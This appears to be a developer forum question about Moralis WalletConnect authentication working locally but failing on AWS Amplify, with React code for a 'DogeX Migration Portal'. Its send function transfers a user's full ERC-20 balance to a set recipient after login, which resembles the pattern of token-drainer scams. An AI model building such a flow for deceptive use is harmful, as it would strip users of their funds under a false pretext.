Hi I have a React front-end that utilizes Wallet Connect as a provider to send ERC-20 tokens.
I am running the setup locally and have a deployed version on AWS amplify.
Locally I am able to connect my trust wallet via wallet connect QR Code.
PROBLEM: When I do the same procedure on the deployed site. I get the following errors.
Having followed the Moralis docs, this is what I have for connecting Trust wallet via wallet connect.
if (!isAuthenticated && screenSize.width < 860)
{
return (
<Button
bg="linear-gradient(to right, #2b56f5 0%, #8224e3 100%);"
loadingText="Connecting"
variant="outline"
onClick={ () => authenticate(
{
provider: "walletconnect",
chainId: 56,
mobileLinks:
[
"metamask",
"trust",
],
signingMessage:"Welcome to The Official DogeX Migration Portal"
}) }>
Connect Wallet
</Button>
);
}
Once user isAuthenticated on button click users tokens are sent to a recipient.
this is what that part of the code looks like
const send = async () =>{
await Moralis.enable();
const requestDetails = {
type: 'erc20',
amount: balance,
receiver: recipient.toUpperCase(),
contract_address: contractAdd,
}
console.log(requestDetails);
await Moralis.transfer(requestDetails).then(
result => {
console.log(result);
}
).catch (
error =>{
console.log(error)
}
)
}
Github repo : https://github.com/subaiyalShk/web3_auth_moralis/tree/main